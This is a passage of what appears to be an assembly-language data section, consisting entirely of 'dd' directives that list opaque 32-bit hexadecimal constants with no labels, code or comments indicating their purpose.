45FCA02Ch, 9C05B303h, 761DA7BBh, 9306D21h dd 0C5F52BD1h, 0DD53257Fh, 6636D50h, 95296F2Bh, 89277B91h dd 9D45DABDh, 19595873h, 1B0B2A18h, 58C92392h, 0E1712723h dd 75565D19h, 0A5B92AC6h, 8B2461E8h, 4625C8F8h, 500CA0CFh dd 0E0CDAD20h, 9DEADF9Eh, 4E727037h, 66E17955h, 0B495E67Ah dd 0C4FC4DDCh, 10055553h, 548A128Ch, 9E3B98E1h, 0A5E2C080h dd 0D4F98B2Ch, 525B1C40h, 0B9990492h, 6214CA0Ch, 7F07F988h dd 853199B8h, 2257ABDh, 0E7EDBB50h, 0BDDD3D51h, 0EA71801Ah dd 2D86E19Fh, 0A5F8090Bh, 0BC7698CAh, 0A53F4B7h, 9691ECE2h dd 80604053h, 0B09719EBh, 4199B5EAh, 6EB92A20h, 0A88EF9D3h dd 0AEBD0035h, 159C7D32h, 634FAD3Eh, 4223C920h, 0C049005Ah dd 1B3BC6EFh, 0A301FEADh, 8FF5E9CBh, 0F72A8978h, 619A932Bh dd 78061080h, 894BBF46h, 96EB49BFh, 0FF0005D9h, 6C12430Ah dd 8A1D1CD7h, 0BC3A0188h, 41F5CDDCh, 0ED8E32DCh, 51816E51h dd 0ED3E2069h, 0E11DB801h, 14F210C2h, 0DECCF500h, 51588380h dd 78EE95A1h, 41F2ED95h, 3F6F14BCh, 0B21E2E82h, 7F8A7055h dd 805209EEh, 94D741D3h, 69FC8D6Ch, 3DAF44D5h, 1C29AB7Bh dd 0EA00BBFCh, 0F3A9189Ch, 0E7009B5Fh, 88C7FBBCh, 252209D7h dd 0C4C520C4h, 80096A11h, 0A5736BF7h, 40C35A5h, 0FA843DEDh dd 2195A591h, 0EF0F4634h, 9293F22Ah, 2A03AB6h, 0C85FE727h dd 0FC1988h, 284C511Dh, 0AC6E74DFh, 0E5E77A09h, 0E9AB7167h dd 0D797DC35h, 6ADF09EBh, 85AA825Dh, 16610631h, 0E98B6502h dd 7FFFF322h, 5CE2F8EDh, 8ED942h, 3A0F966h, 0FA05384Bh dd 8E6E26CAh, 0D516A992h, 15452318h, 0E946F4BFh, 0BB81DBF4h dd 2B4479E3h, 0BBB7DDEAh, 810A572Fh, 0DF10CECh, 56B5BD7Dh dd 2762D1Bh, 0F05105F4h, 0EF6AD5A8h, 0CBC0B39Bh, 45A1B72Bh dd 4A0BB379h, 0DD01D440h, 8A01504Ah, 272311A3h, 661CA0B9h dd 0AE904F67h, 0DFE22F24h, 0A0F9A84Ah, 7DF32F0h, 0A7E2441Eh dd 0BB7CD734h, 0D8A9C9D5h, 77F8CE52h, 0C027EC3h, 0E88A58C2h dd 37BF561h, 4F6D370h, 9C1B5C34h, 0E8BBB9F9h, 0D9BB0BBDh dd 4E54869Fh, 2F0AE2F4h, 35575A2Fh, 83892B6Ch, 6056D3FEh dd 0C0B2F3F8h, 0B720F4h, 61F6DABAh, 78749D5Fh, 9521AED4h dd 0BA09B766h, 2B7A77Bh, 52719ABh, 36C1AAFFh, 0F33A1F95h dd 51918DEAh, 12C1AF5Bh, 81F8FAD6h, 0A5E3C7D8h, 8171026Ah dd 508E492Ah, 2742667Fh, 9BCD2404h, 7ED321C2h, 1C46D639h dd 3AFF200h, 0DE2BAC8h, 0F264E12Ch, 0D1BE3060h, 0FA120019h dd 0C5D667FCh, 482EB614h, 1F1206C4h, 0AD840CF3h, 3E251111h dd 0D0600084h, 38F88672h, 0C92900E1h, 0BE93EDC6h, 1897DE8Bh dd 1390F5F2h, 305010B3h, 0AB3B36A1h, 0B8049500h, 51F090BFh dd 702EE989h, 1DDBDDFh, 48D91497h, 0C7043C51h, 0AA5A47E9h dd 6A4E87F7h, 4BE00096h, 0EB80C7A7h, 0FF6A2F85h, 5C9D4444h dd 8DF46080h, 9004DF64h, 4F942D0h, 88BD62AEh, 0B5980913h dd 0E67F327Dh, 37804FAh, 0AAD9FEA3h, 602A96A7h, 5B69073Ch dd 0E0497930h, 0F1539D5Fh, 42E56801h, 0F93EBC7Ch, 4DB529ECh dd 6125F7D1h, 2C4539ECh, 89305259h, 0B0292715h, 2FB044FEh dd 5BC99D01h, 7921AE02h, 2B09275Dh, 0F917A481h, 0EEB5FD08h dd 5A650359h, 6AABFB2h, 44F7B3A2h, 3CD39540h, 0AB1B57A5h dd 5CB78873h, 29604068h, 3C9ED59Dh, 6ADA8002h, 0C1795D61h dd 0FFA536B2h, 80004E4Eh, 6BAC7527h, 8BF52Fh, 80CBFD1h dd 0A3E96E42h, 4AB27D2h, 12CCD6Dh, 0F1F2B966h, 0F0DA62BDh dd 0D2BD5036h, 0D8B73425h, 57B2AF0Ch, 28034F00h, 6F762ABCh dd 41BFEF12h, 85A0B4BCh, 66890ED5h, 0A42090Ch, 0F930AA92h dd 0C085DDh, 95EA474Bh, 0A6F5162Dh, 0D97C3507h, 6CC1ADDAh dd 0E07029BAh, 5BE4B712h, 0E461C825h, 102D435Bh, 0A9F11CC5h dd 7D040907h, 5C75F501h, 68212247h, 92C3F93Eh, 941064E3h dd 25F35F8Eh, 0D6D88B28h, 0A1CAAA31h, 6BC126A1h, 0E5770004h dd 0CF9C0C1h, 0F74B900h, 0F22AF881h, 7EE97665h, 0B8285BF3h dd 1597A059h, 0C856BD22h, 2A30BF7Ch, 9005296h, 0EF814257h dd 564D515h, 719D3339h, 6F6DAF1Dh, 20F68804h, 29CD68E0h dd 0DB960D01h, 0A79A334h, 0EB5C353Bh, 94C10BDFh, 216258DEh dd 14BD3ACFh, 5B1F76A9h, 2C2525FCh, 0BDF718EAh, 0E622027Ah dd 295EF103h, 8B14915Dh, 12005C48h, 80FEDE27h, 0BB8CB9A5h dd 2EFF02EEh, 0E83A612Dh, 21F5348Bh, 8346841Ch, 0EEF040C8h dd 4801003Eh, 88C57229h, 0E5B59AA5h, 0CD8AD84h, 78BD7BB7h dd 0A2C759Dh, 0FD603E41h, 40C783h, 5B8E18ABh, 510FDB1Fh dd 57EF2E00h, 0F00981BFh, 0EC5F4C70h, 0B458C0DDh, 335B62D9h dd 103DCA4Ch, 5F2D3061h, 4DF1657h, 3AC585BBh, 6E240h, 694720BFh dd 3A5E569Fh, 4302BAD4h, 0E1FFAB7Eh, 0B42B755h, 9D5DCEFh dd 0B5D5E03Fh, 382FE185h, 340E38Ah, 869497F8h, 531DF06Ah dd 0D83112DEh, 0FA25096Eh, 8C44A479h, 0C31EF852h, 2591B509h dd 9CD6027h, 4B8670CBh, 0C1B0C4DBh, 2FA672EDh, 0B60AE0Bh dd 961C5E66h, 2B31EF53h, 4B2F615Ah, 0CFD58D80h, 0C14B45A7h dd 2A76463Fh, 0DE301C8Dh, 0DD034A41h, 91CC7BC9h, 0CEC008Fh dd 0C6567752h, 0BD00C32Ch, 1593325Ch, 9761CE8Bh, 0CE4BAE9Bh dd 0B561A727h, 61023375h, 0DA12DC59h, 8807B9F4h, 7505476Ch dd 54725ECCh, 7990ADCCh, 8DA00BCh, 8D8F30A1h, 0C02515Dh dd 782F5881h, 28B575Fh, 0D5653AD7h, 7D31C0Bh, 94D2970h dd 0A3BA72Fh, 42268977h, 0C43DF75Bh, 0F8CBEF0Ch, 226804F8h dd 0AC6511A2h, 0A1DD0EB7h, 71ADF60Eh, 4F0013B8h, 89A34511h dd 9F2A619Dh, 49DCE356h, 0D897931Ch, 8AA01889h, 54A498Dh dd 0B480CBE9h, 0D4ED4122h, 9F0338h, 33A958ABh, 5E9EC490h dd 82E5BDD1h, 6041C381h, 0BD015934h, 0DA41BD6Fh, 801006E9h dd 0C62FA5FCh, 1F2BE1B1h, 0C5BCDE2Bh, 0B1A3BCAAh, 0B2EFE65Ah dd 94993017h, 534AACFEh, 5E5B5009h, 1860C6A4h, 6171C774h dd 0B6A6EC95h, 60464095h, 9F0B296Fh, 57BA7716h, 0CC1378BDh dd 31C260FCh, 9A76B585h, 285EBB50h, 17AAA690h, 0AF26D9BDh dd 1451D261h, 4E4A5003h, 18E11965h, 0B84ED10Ch, 83A1122Eh dd 67F30Bh, 0F7D3BF66h, 728C6068h, 950CB0EFh, 9F0902D0h dd 732F77h, 0AC47FA19h, 0BD7BBD54h, 2CFE6E5Ah, 0C652C8h dd 7A4BCE2h dd 81020814h, 0F08311F3h, 8B6B7701h, 1CB1BD98h, 0B742A691h dd 0ED3558Eh, 0B7F6BB70h, 2E21AF02h, 557A4C5Eh, 184D2571h dd 0B8DBF92Eh, 0F8612D3Bh, 5016CF1h, 0F5DE7BF3h, 2E0CFC8h dd 0D17ACE21h, 0C67FA59Dh, 0E95F2FE1h, 0C18BFC59h, 0D06D7529h dd 0CFB0B77Eh, 5302714Eh, 0D1E50125h, 6946DDD6h, 258358BFh dd 40E73199h, 3D04110Bh, 6DE180CEh, 8A4EF783h, 0B102FE48h dd 0C21E03E2h, 5E4D01BDh, 0C9F8EB15h, 493773B5h, 0BB70FE53h dd 11870949h, 1C02A74Dh, 1070DF5h, 2D323563h, 3557FA67h dd 8EE62B91h, 6EA08A38h, 5FD3C473h, 0D1823B27h, 65D01EEh dd 6AEBBA63h, 5D831734h, 5FED0161h, 8BB5696h, 2E6ED934h dd 0FA3EC3BCh, 87DE9B4Ah, 0E2F42229h, 6E81E6C4h, 0EC6F2BB7h dd 5661809Eh, 56A8C380h, 0F17C75Fh, 27ADA282h, 5EF0C433h dd 0AD78BD5Fh, 0EF8C607Bh, 0E4387FDBh, 2FD09CB3h, 7F899B09h dd 0FA29C04Ah, 479CEF55h, 34CFC041h, 1C517F6Eh, 0B9CD44B2h dd 3184D357h, 0B1C4C1EDh, 0D63BBD2Bh, 0CFF398FAh, 90EF8D25h dd 26FC572h, 8FDB9FC4h, 0D97FE08Eh, 0B95F133Bh, 5D9D82EAh dd 0DF810009h, 970BD6DAh, 0F5C28377h, 0F5CB58EDh, 2E527291h dd 79848DA9h, 50441808h, 35B72520h, 4BBC1EEEh, 0E5FE02D4h dd 0DDA9AA98h, 58DB8880h, 390BBF67h, 6414963Fh, 2FA807F7h dd 5B931748h, 6723307Dh, 369A9708h, 4B74677h, 1B53B7BBh dd 71B6AA4Dh, 16D1A5F0h, 5C994112h, 7475610Bh, 0E65752E5h dd 0E5F495E2h, 0B5A6664Bh, 2CFD28C0h, 444D8D88h, 0B5989617h dd 0FE573C82h, 0A5DB407Eh, 61E42A4Bh, 0C56CA800h, 0F0C11C42h dd 7E9B05B8h, 0AB5BCDB3h, 520402B2h, 84D52663h, 18B6AAF7h dd 773258B0h, 0B219B633h, 78668561h, 308D2D18h, 6D69B979h dd 0A6BD405Ch, 2B09764Dh, 5C14E59Dh, 25D072D2h, 0B440E38Fh dd 4CAE3ADAh, 273D1771h, 2522BB5Ah, 919A142Eh, 0D2BD1F4Ah dd 0D7AA01D6h, 2F020C10h, 0D429EA62h, 3D02492Ah, 0D37D0D39h dd 8170B302h, 39CEABE5h, 6AFB2F25h, 0E4D78D8h, 0B590EA08h dd 0D5716289h, 2F5672ADh, 75ED9B7h, 77B59072h, 792E47Eh dd 28E679C7h, 0DD196029h, 3C730C56h, 0D4407F94h, 0B0C07F17h dd 0FA5B7186h, 0FFF327A3h, 2113755h, 9D307FC7h, 779ED2DFh dd 9415E31h, 4877292Fh, 0A0C18B61h, 0F92D95B9h, 0CF4BC104h dd 4AC5385Dh, 464323B7h, 2E2A49F1h, 905D1B6h, 0BE2C519Dh dd 483FD760h, 0F6380707h, 207EF733h, 34BDABE3h, 46A9D00h dd 90C49FE7h, 0BB531E60h, 773F817Eh, 2B50615Ah, 605423ABh dd 0C99FF2ABh, 13BFF0C8h, 7F1B351Ah, 3065D9C2h, 232076DCh dd 5C95DEB8h, 8ACB007Ch, 9010B3ACh, 0C25F26DBh, 0C5550B12h dd 2008211Eh, 0A4FEBD02h, 3BDA0BDCh, 0CC7FD5FFh, 9D92730h dd 0BDB82F9Bh, 0E5B50F19h, 344DA537h, 0C7B42E40h, 0F26A043Bh dd 0EA4B5EB7h, 0E9A567F6h, 165A80EDh, 178E54C4h, 0BC08CC5Fh dd 0A5BC0417h, 82A6D1FFh, 0DD01ADE0h, 762F4E2Fh, 0F29D043Bh dd 0FD31EB66h, 282EF88Bh, 588A481Ch, 6A1F4054h, 9EA3024Fh dd 9896BB01h, 48506F42h, 7F9560E9h, 0B866C410h, 0F4388B2Dh dd 0AC996987h, 0EEB93E73h, 0EEC30780h, 0FB599D37h, 0D0BF8060h dd 1223393Eh, 0B20C52E9h, 2080C4D3h, 0E198A613h, 47A80B7h dd 0EA028903h, 13BC198h, 2D533925h, 8445DCB4h, 82C1BE6Ah dd 3CD8F3ACh, 0CBB9193Dh, 0A400DA12h, 5A6863B5h, 13ABA150h dd 13B88414h, 0C5D6C82Fh, 4AD0A800h, 5B5A4F76h, 9B7B590h dd 23E68412h, 137CF534h, 801FFC12h, 1EAE518Fh, 306C00C5h dd 97BF78E0h, 4C2DBB4Bh, 7639575Bh, 0AAD7EFAh, 6A2F6584h dd 0A6C0F84Dh, 2228593Ch, 0D4BF69B0h, 959D84E3h, 2228AE04h dd 0C0408A0Dh, 0B0810CE5h, 9C54BD77h, 0F1BF4E54h, 0E7022A44h dd 122F55BDh, 0E452D009h, 7AB3E35Bh, 0BBD9834Ah, 4E1DA80h dd 80F73BDh, 0F09EF07h, 4ED0E680h, 8466B8FBh, 0FC350E05h dd 4579E13h, 2B768CEFh, 0C0E8C84Ch, 0B39DFF33h, 0ABF69Ah dd 8BFEC5A0h, 0F4230F5Dh, 0CA3C32E8h, 8CD1BDEEh, 3987E9D9h dd 458D2789h, 582D38D9h, 52490839h, 268010E9h, 0ABEF1BADh dd 886000C9h, 8D1F3D76h, 5E12176Dh, 0F7B15F2Bh, 0E10C5D56h dd 571A9A52h, 51B4241Bh, 5A74002Dh, 48FB14Bh, 9B65006Ah dd 3768A315h, 98146B67h, 0C4A033E9h, 0FBACECBEh, 0AC18B7C4h dd 22F90D9h, 0F43834BBh, 69C57578h, 0A821CF01h, 74419589h dd 612B84B3h, 59E08CAh, 0B7B8EDBDh, 8BB0FB0Eh, 7304323Fh dd 1020C45h, 0E654FDBDh, 4B2D844Ch, 4F30AF23h, 1219DF63h dd 0B6D95120h, 3216B2FDh, 63810BDDh, 0B97B15FEh, 205BBE7Dh dd 5E7F35E7h, 0D69E8300h, 93476ADEh, 8EB03DD8h, 29A4CE02h dd 6C690D8Dh, 14132E5Bh, 819C7B9Bh, 0F88A1311h, 9B3AFCh dd 2B4B4696h, 892096C0h, 1EF8791Dh, 922360D2h, 85659049h dd 568A192Dh, 30517929h, 0C0955B4Dh, 47259D29h, 4B5E4903h dd 0D88A6131h, 80CD352Bh, 3B68C662h, 2EAA1C5Fh, 1C1C8EF4h dd 0BAD72521h, 2D18D7F2h, 4005EC6h, 0B7B2420Bh, 1249E29Eh dd 64EC5838h, 0F0FCBA34h, 0EAF3C54Ah, 0F05B1CDAh, 5CBD1FFDh dd 30BFD628h, 434D695h, 0D36C2E7Ch, 0FC0BAB47h, 0E02F5C33h dd 14E8D88Bh, 877D3BC0h, 0F03105h, 54FC81C8h, 4108FA86h dd 0ED431B03h, 0FC5AF32Eh, 0AB40D5C7h, 275F043Fh, 6544E1FFh dd 0DF2A9701h, 40ADDD06h, 0B667282Bh, 91F50989h, 0E369B82Ah dd 0B72712BEh, 884DB2CFh, 80E0A979h, 5D34FDD0h, 419780F2h dd 521403B5h, 0F136A1BDh, 0DACA6E89h, 15FC5000h, 288D709Eh dd 17AE965Ch, 9BFBE180h, 537B8263h, 3F115797h, 171AD826h dd 32B33507h, 0F4E038B0h, 3B7E53h, 0B7524C93h, 2960AEBEh dd 1E49BD12h, 0BC816ABDh, 0CF201A48h, 3A9EFFE8h, 64E42A25h dd 0AF165986h, 8A6E4Fh, 0C8E699DBh, 123FFAA7h, 17B3294h dd 934BB9ADh, 0AEB63A30h, 553016B2h, 23ED0FE5h, 0ABB3519Dh dd 1B89579Bh, 7E55B1B0h, 90CC53Ah, 0F5F64CD7h, 0BFA05A4Bh dd 3AF369F5h, 0BF4B596Eh, 0BBF4A28h, 8D637FFh, 0EF8D2125h dd 0DEF967B5h, 6F438B6Ah, 65B5BC90h, 0C4FC5530h, 54401FCAh dd 204AF87Ah, 1C5E4EADh, 78311D00h, 0FDC8ECCBh, 50C10B7Ch dd 0E056B2FAh, 0F958DF62h, 96099DC6h, 1D29AE4Dh, 0D904913Ch dd 9094E905h, 8EC38013h, 5D0F9295h, 0DA89E637h, 0B5DD8243h dd 0FE6D5517h, 66016E4h, 38B84B0Eh, 6C546E25h, 8E574C0Dh dd 2D014110h, 0C8B4595Bh, 0CF257E63h, 0E1F65613h, 2EF245D7h dd 0D8E88AB9h, 6D9F4600h, 7EF19121h, 0F90C3049h, 833CE35Ch dd 1AE341B5h, 9998BB14h, 813D00D8h, 0FF06E11Fh, 3120B8F6h dd 4B8D800Dh, 0C4F4B52Bh, 25C752B0h, 269995D0h, 0DB302BF5h dd 27A32668h, 9056706Dh, 72A0D941h, 0BD6A8DE5h, 0A32EF926h dd 0CD4712DEh, 4A93F12h, 4E88C654h, 0F62213EAh, 0BACE071h dd 31D6588Ah, 0BA222FC0h, 0C624CF94h, 0D549849Bh, 7EEE48CDh dd 1DBBF1C4h, 269408AEh, 12C78E49h, 0BFC050B3h, 5865AAC6h dd 4B531495h, 0FB4F2028h, 7AE13BE9h, 0E802507Ah, 0F8EC4E88h dd 7D0A53F5h, 5D191200h, 70C51F05h, 0F09F4B13h, 0E4AE537h dd 142535CEh, 4023CF55h, 0F2835240h, 462EB617h, 975D804h dd 0DF7538ABh, 85295DC4h, 0FFA743C5h, 0C0EEA85Fh, 0DA77B6ADh dd 0F450019Bh, 0A818F5C8h dd 81AC2A4Dh, 0FEE2BFC2h, 5E2D3954h, 0F90EF69Eh, 40B562FBh dd 0F8A6BB1Fh, 575B954Ah, 0F11FD27h, 858F7096h, 251E659Fh dd 0BA5798D5h, 0EF541EDEh, 8B66EC1Bh, 33CD96D9h, 8F293FC0h dd 0FD42096Ch, 5A7CC53Eh, 4A16D3C0h, 0A83455A9h, 2E87861Fh dd 4B955191h, 52B1413Ah, 1B302B86h, 13D5EF81h, 46ED4AEh dd 0A917F155h, 75F9C9FCh, 0EFE0FB6Fh, 179CF6EBh, 0C1F50C64h dd 1025DDE4h, 8A196DBDh, 0C5161177h, 0A226EC3Ah, 42B55544h dd 4F891491h, 26978F4h, 0D52B5172h, 199106B7h, 57FA8F80h dd 5802763Dh, 70D08ABBh, 0F5685531h, 334779B5h, 0AC30A94Eh dd 0EDC19D36h, 41DD2A1Dh, 0A8C0846Bh, 4BD1D43Eh, 0F19F85ABh dd 7EA72EF3h, 0B5F43BB0h, 1ADC402h, 0FD70DF80h, 5D786A53h dd 7F28126Ch, 2481ACEBh, 9C079D9h, 951F5DBDh, 8A9603B8h dd 76965897h, 9D2312FBh, 8A7AABCDh, 32001623h, 0DABB0595h dd 95337FEEh, 1B64236Dh, 0E7D89963h, 0AF39EF5Fh, 0CB8A4AA6h dd 0F0C84D2Bh, 8D097B58h, 591AFB11h, 24DF2761h, 0F4AE8B18h dd 0B72750D0h, 11C169B3h, 7A366710h, 80146939h, 62EA22BFh dd 0A4C9D8Eh, 8B30FDB4h, 5252C6ACh, 0F5D46A97h, 1097554Ch dd 12802FB1h, 0FCE58EAh, 0AE1251EFh, 0DF60B829h, 0ADA85E32h dd 753DAD45h, 9ED0FC80h, 5E250385h, 0FF209260h, 808081F9h dd 72A9C942h, 51C62745h, 4459E056h, 76CCEE14h, 17BD9E60h dd 1D790809h, 0BC30FF2Dh, 162C99Dh, 5DC6F90Dh, 3846636Fh dd 0BD657B4Eh, 0B56B565Bh, 0E1A20DECh, 51E360C9h, 1CE92A40h dd 7DFFF482h, 9ED69DA5h, 0C201C143h, 0ECEC93F5h, 0A087B847h dd 0C55B7CEFh, 8EB4470Eh, 699040FFh, 25F7102h, 78DCEE81h dd 81F709C7h, 4A29E165h, 70CCC3F0h, 6C51BF5Ah, 7F1B1D80h dd 6E6924h, 4736AA0Fh, 59A5112Fh, 202D6702h, 80BF8AE5h dd 0FF56B57Eh, 301F5C34h, 0C98FAAD3h, 3835582Ah, 0B8DE84EFh dd 9FA4005Ah, 0E9F098FBh, 0FC8D017Ch, 30881A20h, 5967E881h dd 108D20Bh, 0E0CECB85h, 27252BC0h, 0DE734D40h, 26F9B505h dd 0A9731201h, 3C881563h, 890007B9h, 0F9B63B04h, 0B8B0FCh dd 160B679Fh, 2CD98D8Bh, 9BC73DC5h, 27110C44h, 0A61CFF42h dd 0BDC6D18Bh, 0A524095Bh, 2C89E4EBh, 5B05FE72h, 3B01E315h dd 0D596781h, 4660279Bh, 37B0F790h, 0E3FCBF7Dh, 43112504h dd 7EFCE788h, 52B76E00h, 0ABA83948h, 8EA08400h, 37CA4F2Dh dd 0DB03022h, 0B797EC18h, 6EE7BB01h, 3AC82BF1h, 8ED66D00h dd 0EE4E9506h, 0C020C617h, 89680510h, 76E145Bh, 60073E28h dd 20CC028Dh, 0CDD600E5h, 52FC8CF4h, 2C6684A9h, 211808h dd 0C1CDDECFh, 0EC1174AAh, 0EF0F6679h, 6019B033h, 896F757Fh dd 0A37C7F3Bh, 44101030h, 808A3D01h, 23329A95h, 39E11Bh dd 1C77B503h, 29D7158Fh, 76802700h, 0E43ADE32h, 0AC161FFFh dd 257E0068h, 0E8A0D255h, 27099500h, 0D8A70F4Eh, 222E07A1h dd 7050BD8Fh, 0A491034Dh, 0D2128500h, 0C8813337h, 668D0030h dd 6821FF7Dh, 0D8006540h, 2ACB6122h, 897187h, 0CE46D109h dd 583DDB98h, 0D8D41400h, 5D25167Bh, 75BEF8C2h, 0F0B3F830h dd 297F3E0Bh, 76C52060h, 52062FB8h, 0AA122791h, 5EDD3009h dd 0B88EE520h, 0BF000DF6h, 0FCA5033Fh, 0AF5299h, 2F6C299Ah dd 2517F735h, 0A7C0731Eh, 4E2D241h, 404054C7h, 38F33A8h dd 7F4A8BD8h, 38034DA6h, 0D277B67h, 3D290050h, 0C7835612h dd 290E330Fh, 8C3207DEh, 39E2144h, 0FE1F560Ah, 46EBF79Fh dd 0DF4E190Fh, 87AE4FFCh, 7CC080F4h, 0D84362E3h, 25F179F0h dd 54D6EC00h, 91454CCCh, 77F80165h, 67641C0Fh, 8C69DCB6h dd 0F9DE7401h, 0E26BC997h, 0EE48D4h, 79AB4E4Ah, 0DF433BC7h dd 0C0C24700h, 921BD6C6h, 7B603F0Eh, 0F99B660Fh, 763E3Ch dd 32065C28h, 2E6C1B7h, 0BABC39h, 0A1FAC346h, 12C5748h dd 1FA3E90Fh, 0D4B488E8h, 1B00C76Ch, 0C948C25Ah, 4C3DE7h dd 77FE9B84h, 2FC80A87h, 5F07CF0h, 72CD5000h, 0D7321D24h dd 0B7AE03AFh, 712F58A6h, 795960C7h, 823A7C04h, 5BA10003h dd 3CE22123h, 0CD910695h, 8499DA7h, 46211660h, 0FDE239h dd 4C648AC7h, 3F350A6Dh, 60258h, 0D8AE89A0h, 32A0571h dd 3B68EB20h, 9EF1E680h, 4918B0D0h, 347F03h, 0AFE2653Fh dd 0D381B65Eh, 0A19E20C0h, 0C008FA29h, 9D77E429h, 47E67DACh dd 6D75070Eh, 21E08D46h, 79D01647h, 78068AEh, 969510F9h dd 933CD10Ah, 5608714h, 5D163902h, 857B50E9h, 7E230374h dd 46D8ADE8h, 217F0830h, 1B75164h, 0D243D9B6h, 0E07052A9h dd 9C30AECBh, 58F379EEh, 0CF8DEADh, 0D8D91C80h, 679AE400h dd 0F5EFE005h, 92520079h, 702D1CA7h, 4057835h, 0EBDDF416h dd 0C598C000h, 1390563Ah, 7587C51h, 0C050A5E3h, 0E5DDBA25h dd 0BD4CDA00h, 2ED92AA1h, 0AF931F8Bh, 0C58F4089h, 3B5FC0F4h dd 0EF48540Eh, 5E5D804Bh, 185C2AF6h, 5492D610h, 0B400C0E1h dd 0D24CB60Ah, 3E0286BAh, 0D61C5982h, 0B20339D3h, 0D5BB956h dd 87E2E0C0h, 9E18DDF0h, 55289DC2h, 0E9F2FAAEh, 0D16E6080h dd 5FF4EEB6h, 0D66CED07h, 0E1224CFDh, 3A3BE0C5h, 507E008Dh dd 5E5CCF42h, 530A2A4Bh, 142DD66Bh, 0B3D32B00h, 6504DE5h dd 0B4E3A4DBh, 0D50678E9h, 0F8D1548Bh, 311C86D1h, 9E19FC34h dd 49C081DBh, 8E56B33Bh, 81B49890h, 451D66BAh, 10D08040h dd 5C21D0EAh, 0C188F2A8h, 0DACA0025h, 6C80A2CCh, 0ED0D54D9h dd 2052AA8Bh, 929DDCh, 0E95CE4CBh, 0B959AED6h, 17E34800h dd 378DDE55h, 0EDB1C104h, 0EC610A25h, 0AEECE44Dh, 6C5D93Dh dd 0AA18A4ACh, 5D343351h, 96B0A131h, 57F8B82Dh, 48A3D603h dd 0F88559A7h, 0F291A54Ch, 781C6488h, 1F0B4017h, 0AC4BD98h dd 519597A7h, 0CF9E08A0h, 552BD682h, 6698803Ah, 776E306h dd 1F140CC6h, 51E5D0B7h, 0D301230Eh, 54A25211h, 7982BDD0h dd 4F08866Bh, 40842484h, 37D358F5h, 4C6C0253h, 0E3986B28h dd 55CDEC80h, 5449B6A3h, 0FBEB004Ch, 0C062946Dh, 0CA521970h dd 24FD0891h, 0C31D152Ch, 0B700C96Dh, 0E660BBAh, 0C66C14D7h dd 1801CCB0h, 0D6112664h, 0ED602496h, 630B449h, 53438E5Ch dd 0A4ECF148h, 0AB3031Dh, 0D557F390h, 0ECBB092Ah, 1EEC9400h dd 8F4A8D78h, 1ACF00F4h, 0DB1962BEh, 5F06E908h, 0E2C2D316h dd 0C8ACA478h, 0C4C0A6D0h, 4662996Dh, 1E622D8h, 586DCCA0h dd 30341B8Bh, 0B9EE90B2h, 837E8618h, 525C2BC0h, 0A7025C8Fh dd 0E80AB21Dh, 9510BA31h, 43031EEFh, 0C307AAD9h, 34D0F886h dd 0C47001C8h, 830308ABh, 0B9A420FCh, 1E58090h, 3024A8AAh dd 0B7CF1C6Bh, 0B9FD8330h, 0AFB8871Dh, 5F058A82h, 0F01F0148h dd 1E2A8000h, 0D6A04Ch, 697C6F35h, 0FC1C0C76h, 0BEB1F300h dd 0C77F3DD5h, 66EE0036h, 0AB0A8086h, 9000A73Fh, 0B521E5F6h dd 6BAF6Ch, 3CD297EAh, 0C720D049h, 990E0FE4h, 801B58AEh dd 0A114B1E2h, 28133ED2h, 0CD2C4100h, 9445B760h, 0A03FA72h dd 7A032587h, 0E231A022h, 0B63C03EEh, 505147A4h, 0C418C599h dd 85FABFFDh, 1D426701h, 28600210h, 0FAAF70h, 6C2674E9h dd 24F3ED8Ah, 0FAAA53Dh, 80ECC695h, 0F11C4160h, 0C8D0035h dd 3CD3C8EBh, 0F001DD84h, 0B73CDB9h, 8D4543Dh, 0ED0600C2h dd 0A75F643Eh, 400A224h, 8C05A976h, 0A1BBA6h, 143696Bh dd 3147C05Ch, 2770B3E8h dd 21D048C3h, 0EE500CDEh, 0CE086826h, 7EED6F00h, 36690EC1h dd 0D7A60ED4h, 40E76CECh, 6564F054h, 8EFA5C04h, 55774900h dd 704CABD0h, 5821301Bh, 45C488F0h, 0E09C8A00h, 0BC197BDh dd 904E00D1h, 0BBCAF266h, 4708C9Dh, 63927E4h, 63318069h dd 5443C246h, 7CBC013Ah, 4DAAA001h, 22C4CC52h, 735A10C0h dd 7625692Fh, 0C8270D3Eh, 0F0B8DCCBh, 0ED0041B8h, 7015754Ch dd 7E053Bh, 7D8B5039h, 0AE8A7A2Dh, 0BEE21C3Ch, 1B6FF66Ah dd 0DD8785D9h, 0FEDB8443h, 5251060Eh, 7868EC22h, 8943418h dd 59DA18h, 0F21E9680h, 0F651D427h, 0E982D61Eh, 0D7C71801h dd 0F17EE823h, 9049A006h, 75CA361Fh, 4E704B00h, 1D9313B6h dd 408FC9E4h, 8379E5FFh, 0F05C1A7Bh, 58750008h, 670B3335h dd 2836062Ch, 80F94ECh, 9F21B16Ah, 2CCB0B00h, 0F5E6227h dd 19F0403Fh, 0E309A5C0h, 7F005879h, 0D1D5A857h, 118173Bh dd 0A49C1CCBh, 0D41553D6h, 0C818DD72h, 7B20D3A1h, 0E53807F9h dd 0D019F36Ah, 1558494Fh, 8FEC000h, 6B7F59D8h, 50D200A8h dd 99461738h, 0FD0D7D66h, 70423336h, 297E91C8h, 0E2206D05h dd 6430ADA5h, 0D621874h, 5B15D84Fh, 7F011DFCh, 0A14C29C3h dd 8BCB9F8h, 0CE0121E0h, 0E21E401Eh, 7B0059C7h, 0C2DDA8F8h dd 9F28033Eh, 0F701EEF5h, 0A54F25E8h, 3845E933h, 0D876837Bh dd 805E9C3Eh, 7E003875h, 895714BDh, 66DF48AFh, 212508E1h dd 0BAE69100h, 0C4C33B6Ch, 0FB160F39h, 4020D0EBh, 2C53D77Fh dd 52B35F14h, 23E490C0h, 0B843818h, 67662C65h, 4A007A64h dd 4B5A0B6Dh, 0B100F8E6h, 0BB8BF92Ch, 0C56A16h, 0C882B5FEh dd 0F060734Dh, 0CFA5E10Ch, 261D14Ah, 0C976A1B0h, 55000A01h dd 2A36CF1Dh, 78C83E17h, 31BD61AEh, 0E604D4F2h, 260C0040h dd 65184865h, 0A710C02Fh, 4B4DC574h, 45D1AC80h, 395B1F3Ah dd 0F4DF8213h, 4160200Ch, 58723635h, 74B7A3Ch, 34030F42h dd 75A8CF91h, 6C9881D6h, 908F0A20h, 1C02E81Eh, 0AC8F7C08h dd 6903BA8Bh, 984378ABh, 7BA7A1ACh, 0D73B670Ch, 60BB0CF9h dd 1D945859h, 273CFD3h, 5DD4C412h, 0A2CC4A5h, 0E4219Ch dd 4F9DDF1Fh, 